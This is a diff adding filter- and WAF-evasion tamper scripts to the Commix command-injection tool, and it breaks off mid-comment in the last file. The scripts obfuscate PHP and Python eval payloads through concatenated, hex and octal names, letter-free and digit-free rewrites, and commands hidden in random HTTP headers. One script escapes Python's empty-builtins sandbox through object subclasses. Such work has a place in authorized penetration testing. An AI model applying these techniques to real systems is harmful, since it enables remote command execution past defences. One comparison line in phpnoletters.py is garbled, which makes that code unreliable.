+#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +from src.utils import settings +from src.core.controller import checks + +r""" +About: Runs the command through a PHP function named in concatenated pieces ('she'.'ll_e'.'xec'). +Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). +References: [1] https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/ +""" + +__tamper__ = "phpconcat" +__priority__ = settings.PRIORITY.HIGH + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "php") + +""" +The call the name is handed to, rather than being written where the call is. + +A payload here reaches PHP inside a string it is interpolated into, and what that allows is a +call by name, not a call on an expression - '("sys"."tem")(...)' does not parse there, while a +name passed as an argument does. The leading backslash names the global function, so a namespace +of the target's own cannot answer in its place. +""" +CALL_BY_NAME = "\\call_user_func(" + +# How many cuts a name is broken at, at most - beyond this the pieces are single letters anyway. +MAX_CUTS = 3 + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +""" +The name as pieces the concatenation operator puts back together, none of them spelling it. + +Single quotes, because PHP reads neither an escape nor a variable out of them - a piece is the +letters it is written with, whatever it happens to start with. Cut in random places, so the same +name does not arrive split the same way twice. +""" +def _concat_name(name): + cuts = sorted(random.sample(range(1, len(name)), min(len(name) - 1, random.randint(1, MAX_CUTS)))) + pieces, start = [], 0 + for cut in cuts + [len(name)]: + pieces.append(name[start:cut]) + start = cut + return ".".join("'" + piece + "'" for piece in pieces) + +""" +The command the backticks were running, as a string for the call to be handed. + +Single quotes, because PHP reads a variable out of a double-quoted string and these commands carry +'${...}' of their own, which would be spent on the way rather than reaching the shell. +""" +def _quoted_command(command): + return "'" + command.replace("\\", "\\\\").replace("'", "\\'") + "'" + +# What the backtick operator is underneath, so naming it runs the command the backticks ran. +BACKTICK_FUNCTION = "shell_exec" +# The operator and everything it holds, an escaped backtick of the command's own staying inside +# the command rather than reading as the one that closes it. +BACKTICK_COMMAND = r"`((?:[^`\\]|\\.)*)`" + +""" +The command as it was written, out of the operator it was read out of. + +The operator reads its own string before the shell is handed it, so the command sits in there +written for that reading. The call this script writes carries the command as a quoted literal +instead, which nothing reads on the way - so what the operator was written for comes back off. +""" +def _raw_command(text): + return settings.EVAL_GRAMMAR.backtick_command(text) + +# Run the command through a function named in pieces, wherever the payload runs one. +def tamper(payload): + for name in settings.EXECUTION_FUNCTIONS_LVL3: + # Only where the name opens a call of its own, so a longer name carrying a shorter one is not + # rewritten from the middle - and the call's own closing bracket still closes the new one. + # A lambda, so that the backslashes the replacement is made of stay backslashes. + called = CALL_BY_NAME + _concat_name(name) + "," + payload = re.sub(r"(?<![\w\\])" + re.escape(name) + r"\(", lambda x: called, payload) + # The boundary a payload most often arrives on names no function at all - it runs the command in + # backticks, which is this function wearing punctuation, and reads the same way once named. + return re.sub(BACKTICK_COMMAND, + lambda x: (CALL_BY_NAME + _concat_name(BACKTICK_FUNCTION) + "," + + _quoted_command(_raw_command(x.group(1))) + ")"), + payload) + +# eof diff --git a/src/tamper/eval/php/phphexname.py b/src/tamper/eval/php/phphexname.py new file mode 100644 index 0000000000..f7461bf362 --- /dev/null +++ b/src/tamper/eval/php/phphexname.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Runs the command through a PHP function named in hex ("\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63"). +Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). +References: [1] https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/ +""" + +__tamper__ = "phphexname" +__priority__ = settings.PRIORITY.HIGH + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "php") + +""" +The call the name is handed to, rather than being written where the call is. + +A payload here reaches PHP inside a string it is interpolated into, and what that allows is a +call by name, not a call on an expression - '("sys"."tem")(...)' does not parse there, while a +name passed as an argument does. The leading backslash names the global function, so a namespace +of the target's own cannot answer in its place. +""" +CALL_BY_NAME = "\\call_user_func(" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# The name as the escapes PHP reads back as that name, leaving no letter of it in the payload. +def _hex_name(name): + return "\"" + "".join("\\x%02x" % ord(char) for char in name) + "\"" + +""" +The command the backticks were running, as a string for the call to be handed. + +Single quotes, because PHP reads a variable out of a double-quoted string and these commands carry +'${...}' of their own, which would be spent on the way rather than reaching the shell. +""" +def _quoted_command(command): + return "'" + command.replace("\\", "\\\\").replace("'", "\\'") + "'" + +# What the backtick operator is underneath, so naming it runs the command the backticks ran. +BACKTICK_FUNCTION = "shell_exec" +# The operator and everything it holds, an escaped backtick of the command's own staying inside +# the command rather than reading as the one that closes it. +BACKTICK_COMMAND = r"`((?:[^`\\]|\\.)*)`" + +""" +The command as it was written, out of the operator it was read out of. + +The operator reads its own string before the shell is handed it, so the command sits in there +written for that reading. The call this script writes carries the command as a quoted literal +instead, which nothing reads on the way - so what the operator was written for comes back off. +""" +def _raw_command(text): + return settings.EVAL_GRAMMAR.backtick_command(text) + +# Run the command through a function named in hex, wherever the payload runs one. +def tamper(payload): + for name in settings.EXECUTION_FUNCTIONS_LVL3: + # Only where the name opens a call of its own, so a longer name carrying a shorter one is not + # rewritten from the middle - and the call's own closing bracket still closes the new one. + # A lambda, so that the backslashes the replacement is made of stay backslashes. + called = CALL_BY_NAME + _hex_name(name) + "," + payload = re.sub(r"(?<![\w\\])" + re.escape(name) + r"\(", lambda x: called, payload) + # The boundary a payload most often arrives on names no function at all - it runs the command in + # backticks, which is this function wearing punctuation, and reads the same way once named. + return re.sub(BACKTICK_COMMAND, + lambda x: (CALL_BY_NAME + _hex_name(BACKTICK_FUNCTION) + "," + + _quoted_command(_raw_command(x.group(1))) + ")"), + payload) + +# eof diff --git a/src/tamper/eval/php/phpnoletters.py b/src/tamper/eval/php/phpnoletters.py new file mode 100644 index 0000000000..cac8c2104c --- /dev/null +++ b/src/tamper/eval/php/phpnoletters.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Runs the command without a single a-z/A-Z character reaching the target, by octal-escaping + every letter the payload needs and calling functions by a name built that way. +Notes: This tamper script works against target(s) rejecting any letter in the evaluated string before it is evaluated (i.e. option '--eval=php'), since PHP decodes a double-quoted or backtick string's own '\NNN' octal escapes only once that check has already passed. 'print' and 'eval' are language constructs rather than functions, so nothing dynamic can call them by name - the wrapper classic.py's payloads put around a result is rebuilt through 'printf' instead, but one of the probe's own boundaries calls 'eval' by that literal name and is not covered. +References: [1] https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/ +""" + +""" +Every call is hidden the same way: an array literal is built and indexed, '[$_1=name,$_1(args)][1]'. +The literal hides the name, reads as an expression so it sits wherever a value can, and answers with +the call's own return value at its second element. + +An execution function is run only for what it does, so what the construct answers with would not +matter for those. It matters for 'rtrim'/'strlen'/'ord'/'substr'/'intval', which are read for what +they answer and feed a comparison or another call: a sequencing operator that answers only true or +false would silently replace "did this string have length 6" with "did the call succeed", which +reads the same on every length at once. One shape for both leaves no second answer to get wrong, +and leaves no operator in the payload beyond the separator it is proving. +""" + +__tamper__ = "phpnoletters" +__priority__ = settings.PRIORITY.HIGH + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "php") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Every ASCII letter as the octal escape a double-quoted (or backtick) string decodes back into it, +# leaving no letter of its own in the payload - a literal backslash is doubled so it still reads as +# one, and a literal '%' is hidden the same way since it reads as the start of a URL escape of its +# own once the payload is sent, letter or not. +def _hide_letters(text): + hidden = [] + for char in text: + if char == "\\": + hidden.append("\\\\") + elif char == "%" or (char.isalpha() and ord(char) < 128): + hidden.append("\\%03o" % ord(char)) + else: + hidden.append(char) + return "".join(hidden) + +""" +Calling a function by a name built the same way, so naming the function this reaches costs no +letter either. The assignment and the call are sequenced by an array literal, read back at its +second element - which reads as an expression, so this sits anywhere a value can, and carries no +'&&' of its own. A payload proves one separator; '&&' in a sink that chains on something else is +one more character for a filter to strip, and a filter strips characters, it does not read PHP. +""" +_CALL_USER_FUNC = "\"" + _hide_letters("call_user_func") + "\"" + +def _hidden_call(name, args): + return ("[$_1=" + _CALL_USER_FUNC + ",$_1(\"" + _hide_letters(name) + "\"" + + ("," if args else "") + args + ")][1]") + +# The probe and the execution functions - run for what they do, never read for what they answer. +_EXEC_NAMES = list(settings.EXECUTION_FUNCTIONS_LVL3) + ["phpinfo", "sleep"] + +# The real functions the other techniques' own helpers (trim/length/ordinal/to_number) are built +# from - read for what they answer, so hiding one has to answer with the same value it hid. +_VALUE_NAMES = ["rtrim", "strlen", "ord", "substr", "intval"] + +# Each name's own pattern, compiled once rather than once per payload - none of the five changes +# for the life of the process. +_CALL_PATTERNS = {} + +def _call_pattern(name): + if name not in _CALL_PATTERNS: + _CALL_PATTERNS[name] = re.compile(r"(?<![\w\\])" + re.escape(name) + r"\(") + return _CALL_PATTERNS[name] + +""" +The closing bracket that balances the one at 'open_index', a backtick-run command's own '(' and ')' +skipped rather than counted - those are shell syntax sitting in a string token, not PHP nesting. +""" +def _matching_paren(text, open_index): + depth, in_backtick, i = 0, False, open_index + while i < len(text): + char = text[i] + # A backslash shields whatever follows it, so a backtick of the command's own does not read as + # the one that ends the command. + if char == "' + B*2 + '" and in_backtick: + i += 2 + continue + if char == "`": + in_backtick = not in_backtick + elif not in_backtick: + if char == "(": + depth += 1 + elif char == ")": + depth -= 1 + if depth == 0: + return i + i += 1 + return -1 + +""" +Run one of the value-producing names above through the letter-free call, its answer read back out +of the array it was written into rather than thrown away the way '&&' would. The whole call - not +just where it opens - has to be found and replaced in one piece, since the array literal closes +around the end of it as much as the name is hidden at the start. +""" +def _hide_value_calls(payload, name): + pattern = _call_pattern(name) + pieces, pos = [], 0 + while True: + match = pattern.search(payload, pos) + if not match: + pieces.append(payload[pos:]) + break + open_paren = match.end() - 1 + close_paren = _matching_paren(payload, open_paren) + if close_paren == -1: + pieces.append(payload[pos:]) + break + pieces.append(payload[pos:match.start()]) + args = payload[open_paren + 1:close_paren] + pieces.append(_hidden_call(name, args)) + pos = close_paren + 1 + return "".join(pieces) + +# 'print(...)' is classic.py's own wrapper, not something the target ever chose - rebuilt through +# 'printf' since 'print' cannot be reached by name the way a real function can, wherever in the +# boundary-wrapped payload it sits. A stray trailing ';' left behind it is a harmless empty statement, +# and the one true statement a bare, unwrapped sink needs its payload to end on. +def _hide_print(payload): + start = payload.find("print(") + if start == -1 or (start > 0 and (payload[start - 1].isalnum() or payload[start - 1] in "_\\")): + return payload + open_paren = start + len("print") + close_paren = _matching_paren(payload, open_paren) + if close_paren == -1: + return payload + inner = payload[open_paren + 1:close_paren] + replacement = _hidden_call("printf", "\"" + _hide_letters("%s") + "\"," + inner) + ";" + return payload[:start] + replacement + payload[close_paren + 1:] + +""" +halt()'s 'exit()' is a language construct, not a function - nothing dynamic can call it, and a +fatal error in its place (trigger_error() at E_USER_ERROR, say) answers with an HTTP 500 rather +than stopping output where 'exit()' would have - and commix's own request layer reads a 500 as the +request having failed outright, never handing the boolean-based oracle a page to compare at all, +true or false alike. The ternary this sits in already answers "" for true, so answering any +different, fixed, letter-free value for false - no call, no halt, ordinary 200 either way - is a +value the oracle can compare exactly the way it compares everything else it is asked about. +""" +_HALT_REPLACEMENT = "9256" + +# The operator and everything it holds, an escaped backtick of the command's own staying inside +# the command rather than reading as the one that closes it. +BACKTICK_SPAN = r"`((?:[^`\\]|\\.)*)`" + +""" +Hide every letter left inside a backtick-run shell command, the punctuation around it untouched. + +The command is read back as it was written before its letters are hidden and written for the +operator again afterwards: what is written here is octal escapes, which the operator's own +string would otherwise read for itself and hand the shell the letters they were hiding. +""" +def _hide_backtick(match): + command = _hide_letters(settings.EVAL_GRAMMAR.backtick_command(match.group(1))) + return "`" + settings.EVAL_GRAMMAR.backticked(command) + "`" + +def tamper(payload): + # Run for what they do or read for what they answer, every one is hidden the same way. + for name in _EXEC_NAMES + _VALUE_NAMES: + payload = _hide_value_calls(payload, name) + payload = payload.replace("exit()", _HALT_REPLACEMENT) + payload = _hide_print(payload) + return re.sub(BACKTICK_SPAN, _hide_backtick, payload) + +# eof diff --git a/src/tamper/eval/php/phpnosymbols.py b/src/tamper/eval/php/phpnosymbols.py new file mode 100644 index 0000000000..d9bb45d15f --- /dev/null +++ b/src/tamper/eval/php/phpnosymbols.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Rewrites the three places a PHP eval-sink payload still carries a digit, a quote or a + semicolon, for a target rejecting all three at once (along with '$' and '_', which the + payload never needed in the first place). +Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). + A literal integer becomes a parenthesised sum of 'true' added to itself, since a boolean is an + integer the moment arithmetic or a comparison is done on it; the empty string a halted + condition answers with becomes the keyword 'NULL', read back by '.' concatenation as the same + nothing a quoted empty string would; a trailing statement terminator becomes a closing PHP tag, + which ends a statement exactly as a semicolon would and needs none of its own. None of the + three touches a backtick-run shell command - a digit or a space in there is that technique's + own concern, left to a tamper such as 'space2htab' to answer for. +Reference: https://ctftime.org/writeup/40411 +""" + +__tamper__ = "phpnosymbols" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "php") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# A literal integer, spelled as that many 'true's added together - still an integer the moment +# anything arithmetic or comparative is done with it, and never a digit on the way there. +def _digitless(match): + return "(" + "+".join(["true"] * int(match.group(0))) + ")" + +_INTEGER_LITERAL = re.compile(r"\d+") +_EMPTY_STRING = re.compile(r"\?(?:\"\"|'')\:exit\(\)") + +# One run of PHP-level code - never what a backtick-quoted shell command is written in. +def _rewrite_php_span(span): + span = _INTEGER_LITERAL.sub(_digitless, span) + span = _EMPTY_STRING.sub("?NULL:exit()", span) + return span + +# The operator and everything it holds, an escaped backtick of the command's own staying inside +# the command rather than reading as the one that closes it. +BACKTICK_SPAN = r"`((?:[^`\\]|\\.)*)`" + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "php": + return payload + # The operator alternates PHP-level code with the shell command it runs - odd positions are the + # commands themselves, left exactly as every other tamper script already left them. Split on the + # operator rather than on every backtick, so one of the command's own, written behind a backslash + # for the interpreter that reads the operator's string, does not open a span of PHP that is not + # there - everything after it was then rewritten as the wrong one of the two. + parts = re.split(BACKTICK_SPAN, payload) + for index in range(0, len(parts), 2): + parts[index] = _rewrite_php_span(parts[index]) + payload = "".join(part if index % 2 == 0 else "`" + part + "`" + for index, part in enumerate(parts)) + # The grammar's own statement terminator, said only once and only at the very end - a closing + # PHP tag ends the statement it follows exactly as that character would, and reopening it is + # only needed where something is meant to run after it, which nothing here ever is. + if payload.endswith(";"): + payload = payload[:-1] + "?>" + return payload + +# eof diff --git a/src/tamper/eval/php/phpregreplace.py b/src/tamper/eval/php/phpregreplace.py new file mode 100644 index 0000000000..2c54956747 --- /dev/null +++ b/src/tamper/eval/php/phpregreplace.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Carries a payload through a replacement string, for a PHP sink evaluated by preg_replace(). +Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). +References: [1] https://www.php.net/manual/en/function.preg-replace.php +""" + +__tamper__ = "phpregreplace" + +# Applied last, after every other script has finished shaping the payload: this is not another way +# of writing the payload but what carries whatever the payload ended up being, and a script running +# after it would write backslashes of its own that nothing is left to carry. +__priority__ = settings.PRIORITY.LOWEST + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "php") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +""" +A group the replacement string is read as naming, which the payload has to say it does not. + +What preg_replace() evaluates is the replacement with its backreferences already filled in, and a +pattern that captured nothing fills them in with nothing: a command written '\141\142\143' reached +the sink as '123', each backslash and the two digits behind it spent on a group that was never +there. A backslash is written twice to arrive as the one character it was, and a dollar sign in +front of a digit - the other spelling of the same thing - is written behind one. +""" +BACKREFERENCE = r"\$(?=\{?\d)" + +# Everything a replacement string is read for, written so it is read as itself instead. +def tamper(payload): + return re.sub(BACKREFERENCE, lambda x: "\\$", payload.replace("\\", "\\\\")) + +# eof diff --git a/src/tamper/eval/php/phpserverheaders.py b/src/tamper/eval/php/phpserverheaders.py new file mode 100644 index 0000000000..1dcbf9e992 --- /dev/null +++ b/src/tamper/eval/php/phpserverheaders.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +import string +import threading + +from src.utils import settings +from src.core.controller import checks + +r""" +About: Moves the function and the command out of the payload and into HTTP headers it reads back + through '$_SERVER'. +Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). +""" + +__tamper__ = "phpserverheaders" +__priority__ = settings.PRIORITY.HIGH + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or \ + checks.tamper_dep_grammar_only(__tamper__, "php") or \ + _time_related_incompatible() + +""" +Why this script cannot serve a technique that reads a value back rather than a page. + +What it leaves in the payload is an interpolation, and an interpolation is worth a variable name - +so the command runs and prints, and the expression around it is left holding nothing. A technique +that only shows the page gets everything it needs from that; one that measures what came back - a +length, a byte at an offset, a number - measures the nothing instead, and reads it as no answer. +""" +def _time_related_incompatible(): + if settings.TIME_RELATED_ATTACK: + return "The '" + __tamper__ + ".py' tamper script needs a technique that reads its result from the page. Skipping tamper script." + +""" +The function the command is handed to. + +It has to be one that prints what it runs rather than returning it. What is left in the payload is +an interpolation, which is what reaches an evaluated string at all - and what an interpolation +evaluates to is a variable name, not a value, so nothing a function returned survives it. The output +has to have reached the page by itself before then. +""" +EXECUTION_FUNCTION = "system" + +# The backtick operator, which is how a payload of this grammar runs a command. +# The operator and everything it holds, an escaped backtick of the command's own staying inside +# the command rather than reading as the one that closes it. +BACKTICK_COMMAND = r"`((?:[^`\\]|\\.)*)`" + +# How many characters a generated header name carries. +NAME_LENGTH = 6 + +""" +The headers the payload built here is going to read, waiting for the request that carries it. + +Thread-local, because a payload is tampered and then sent by the one worker that built it, while +several of them are doing the same thing at once - shared, one worker's headers would travel on +another's request and both would arrive naming something that is not there. +""" +_pending = threading.local() + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +""" +A header name of no meaning, drawn again for every payload. + +Mixed case and digits, because the name is never read back as it is written - PHP upper-cases it +before it reaches '$_SERVER' - and a name that is always spelled the same way is a name to match on. +Carrying no prefix for the same reason: 'X-' is three characters of pattern in every payload that +names one, and a header is no less deliverable without it. A letter leads, since a name opening on +a digit is the one thing about it that would stand out. +""" +def _header_name(): + alphabet = string.ascii_letters + string.digits + return random.choice(string.ascii_letters) + "".join(random.choice(alphabet) for _ in range(NAME_LENGTH - 1)) + +""" +What PHP calls a header once it has put it in '$_SERVER'. +""" +def _server_key(name): + return "HTTP_" + name.upper().replace("-", "_") + +""" +Whether a command can travel in a header at all. + +A header value is a line, so one carrying a line break is left where it is rather than sent as +something the target would read as the end of the header. +""" +def _sendable(command): + return command and not re.search(r"[\r\n\x00]", command) + +""" +Run the command through a name and an argument the payload never spells out. + +What is left in the payload is the shape of a call and nothing of what it calls: the function is a +string read out of one header, the command a string read out of another, and neither appears in the +parameter the request is testing. The two are drawn together and travel on the same request, so a +filter reading either half sees a name of no meaning and a header of no meaning. +""" +""" +The command as it was written, out of the operator it was read out of. + +The operator reads its own string before the shell is handed it, so the command sits in there +written for that reading. The call this script writes carries the command as a quoted literal +instead, which nothing reads on the way - so what the operator was written for comes back off. +""" +def _raw_command(text): + return settings.EVAL_GRAMMAR.backtick_command(text) + +def tamper(payload): + commands = [] + function_header = _header_name() + taken = set([function_header.lower()]) + + def _through_headers(match): + # The header carries the command to the shell with nothing reading it on the way, so what + # the operator was written for comes off here. + command = _raw_command(match.group(1)) + if not _sendable(command): + return match.group(0) + while True: + command_header = _header_name() + if command_header.lower() not in taken: + break + taken.add(command_header.lower()) + commands.append((command_header, command)) + return "${$_SERVER['" + _server_key(function_header) + "']($_SERVER['" + _server_key(command_header) + "'])}" + + tampered = re.sub(BACKTICK_COMMAND, _through_headers, payload) + # Only where something was actually moved out: a payload that runs no command has no function to + # name either, and a header naming one would be the only odd thing about the request. + if commands: + _pending.headers = [(function_header, EXECUTION_FUNCTION)] + commands + return tampered + +""" +Put the headers the payload is about to read onto the request that carries it. + +Cleared as they are used, so a request built without a payload of this shape - the ones a run makes +before and between its injections - does not carry the last payload's headers. +""" +def apply_headers(request): + for name, value in getattr(_pending, "headers", []): + request.add_header(name, value) + _pending.headers = [] + +# eof diff --git a/src/tamper/eval/python/__init__.py b/src/tamper/eval/python/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/python/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/eval/python/pybuiltinsescape.py b/src/tamper/eval/python/pybuiltinsescape.py new file mode 100644 index 0000000000..3076ec7442 --- /dev/null +++ b/src/tamper/eval/python/pybuiltinsescape.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re + +from src.utils import settings +from src.core.controller import checks + +""" +About: Reaches every bare builtin the grammar calls - __import__ and open to run a command or read a + file, len/ord/chr/int to measure and compare the answer - through the subclasses of object, + for a sink evaluating Python with no builtins at all. +Notes: This tamper script works against target(s) evaluating Python (i.e. option '--eval=python'). + 'eval(value, {"__builtins__": {}})' is a common way to let a value run as code without + touching anything else on the system - but an empty __builtins__ only blocks every builtin + NAME, not the language underneath it. () .__class__.__bases__[0].__subclasses__() reaches + every class the interpreter has already loaded, through plain attribute access rather than + any builtin call of its own, and every module's own globals still carries a real + __builtins__ dict in them - Python puts one there itself, for every module there is. Only + __import__ and open get the target anything on their own, but the boolean-based and + time-based techniques never reach a comparison at all without len(), ord() and chr() too. +Notes: Written with no builtin call anywhere in the gadget itself, since an empty __builtins__ + leaves every one of them undefined too - only attribute access, indexing, a comparison and a + list comprehension, none of which are builtins to begin with. +Reference: https://www.exploit-db.com/exploits/33028 (same shape against JRuby's own sandbox: a + blocked native call reached instead through the host language's own object graph) +""" + +__tamper__ = "pybuiltinsescape" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "python") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# The first already-loaded class whose own __init__ is plain Python code rather than a compiled +# slot, so it still has __globals__ to read a real __builtins__ dict back out of. +_GADGET = ( + '[c.__init__.__globals__["__builtins__"] for c in ().__class__.__bases__[0].__subclasses__() ' + 'if c.__init__.__class__.__name__=="function" and "__builtins__" in c.__init__.__globals__][0]' +) + +# Every bare name the grammar ever calls - run()/read_file()/delay()/halt() need the first two, +# length()/ordinal()/to_number() the rest, and a sweep at a higher level still reaches for the +# last three once in a while. +_BUILTINS = ["__import__", "open", "len", "ord", "chr", "int", "str", "repr", "eval", "exec"] + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "python": + return payload + # A plain substitution would also catch, say, 'open(' inside a longer word - excluded for every + # name here by requiring nothing identifier-like just ahead of it, not only the short ones. + for name in _BUILTINS: + payload = re.sub(r'(?<![A-Za-z0-9_])' + re.escape(name) + r'\(', '(' + _GADGET + ')["' + name + '"](', payload) + return payload + +# eof diff --git a/src/tamper/eval/python/pyhexname.py b/src/tamper/eval/python/pyhexname.py new file mode 100644 index 0000000000..d3f05545cd --- /dev/null +++ b/src/tamper/eval/python/pyhexname.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Runs the command through a Python module and function named in hex ("\x6f\x73", + "\x70\x6f\x70\x65\x6e"). +Notes: This tamper script works against target(s) evaluating Python (i.e. option '--eval=python'). +""" + +__tamper__ = "pyhexname" +__priority__ = settings.PRIORITY.HIGH + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "python") + +""" +The module a name with no module of its own is reached through. + +'eval' and 'exec' are built in, so there is no import spelling them out - but they are attributes +of a module like any other, and naming that module gives them somewhere to be looked up from. +""" +BUILTINS = "builtins" + +# An attribute fetched by a name the payload never spells, and called on the spot. +ATTRIBUTE_OF = "getattr(" +IMPORT_OF = "__import__(" + +# The execution functions this language writes whole: a module imported, then an attribute of it. +IMPORTED_FUNCTION = r"^__import__\(\"([^\"]+)\"\)\.(\w+)$" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# The name as the escapes Python reads back as that name, leaving no letter of it in the payload. +def _hex_name(name): + return "\"" + "".join("\\x%02x" % ord(char) for char in name) + "\"" + +""" +The module and the attribute a function is reached by, both named in hex. + +Written as a lookup rather than as the call itself, because an attribute cannot be reached by an +escaped name the way a string can - 'getattr' is what turns the name back into the thing. +""" +def _looked_up(module, attribute): + return ATTRIBUTE_OF + IMPORT_OF + _hex_name(module) + ")," + _hex_name(attribute) + ")" + +""" +The callable the grammar's own reader runs a command through, which is none of the execution +functions above. + +A payload reaches a shell twice over - through the function a boundary is built around, and through +the reader every answer is read back off - and a filter watching for a name is watching for it in +both. Named here as well, so the reader arrives spelled the same way the rest of the payload is. +""" +READER_FUNCTIONS = ["__import__(\"subprocess\").Popen"] + +# Run the command through a module and function named in hex, wherever the payload runs one. +def tamper(payload): + # Longest first, so a bare name is not rewritten out of the middle of an imported one. + named = set(settings.EXECUTION_FUNCTIONS_LVL3) | set(READER_FUNCTIONS) + for name in sorted(named, key=len, reverse=True): + imported = re.match(IMPORTED_FUNCTION, name) + if imported: + looked_up = _looked_up(imported.group(1), imported.group(2)) + else: + looked_up = _looked_up(BUILTINS, name) + # Only where the name opens a call of its own, so the call's own closing bracket still closes + # the new one. A lambda, so that the backslashes the replacement is made of stay 